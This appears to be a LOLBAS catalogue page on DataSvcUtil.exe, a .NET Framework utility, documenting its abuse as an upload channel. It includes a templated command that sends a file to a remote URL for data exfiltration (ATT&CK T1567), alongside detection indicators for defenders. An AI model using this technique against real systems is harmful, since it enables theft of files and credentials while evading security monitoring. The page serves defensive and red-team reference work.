LOLBAS. GitHub
LIVING OFF THE LAND / OS BINARIES

DataSvcUtil.exe

View source

DataSvcUtil.exe is a command-line tool provided by WCF Data Services that consumes an Open Data Protocol (OData) feed and generates the client data service classes that are needed to access a data service from a .NET Framework client application.

Upload
01COMMAND EXAMPLES
01ATT&CK TECHNIQUES
01DETECTION RESOURCES
01CAPABILITIES
01 / TRADECRAFT

Command reference

1 examples

Upload1

EXAMPLE 01T1567

Upload file, credentials or data exfiltration in general

COMMAND
DataSvcUtil /out:{PATH_ABSOLUTE} /uri:{REMOTEURL}
USE CASE
Upload file
PRIVILEGES
User
OPERATING SYSTEM
Windows 10
02 / ON DISK

Known paths

C:\Windows\Microsoft.NET\Framework64\v3.5\DataSvcUtil.exe
03 / DEFENSIVE INTELLIGENCE

Detection & indicators

1 resources

Indicators & detection notes

  • IOC

    The DataSvcUtil.exe tool is installed in the .NET Framework directory.

  • IOC

    Preventing/Detecting DataSvcUtil with non-RFC1918 addresses by Network IPS/IDS.

  • IOC

    Monitor process creation for non-SYSTEM and non-LOCAL SERVICE accounts launching DataSvcUtil.

REFERENCE IMPLEMENTATIONS

Code samples

FURTHER READING

Research & resources

COMMUNITY RESEARCH

Acknowledgements

Ialle Teixeira@NtSetDefault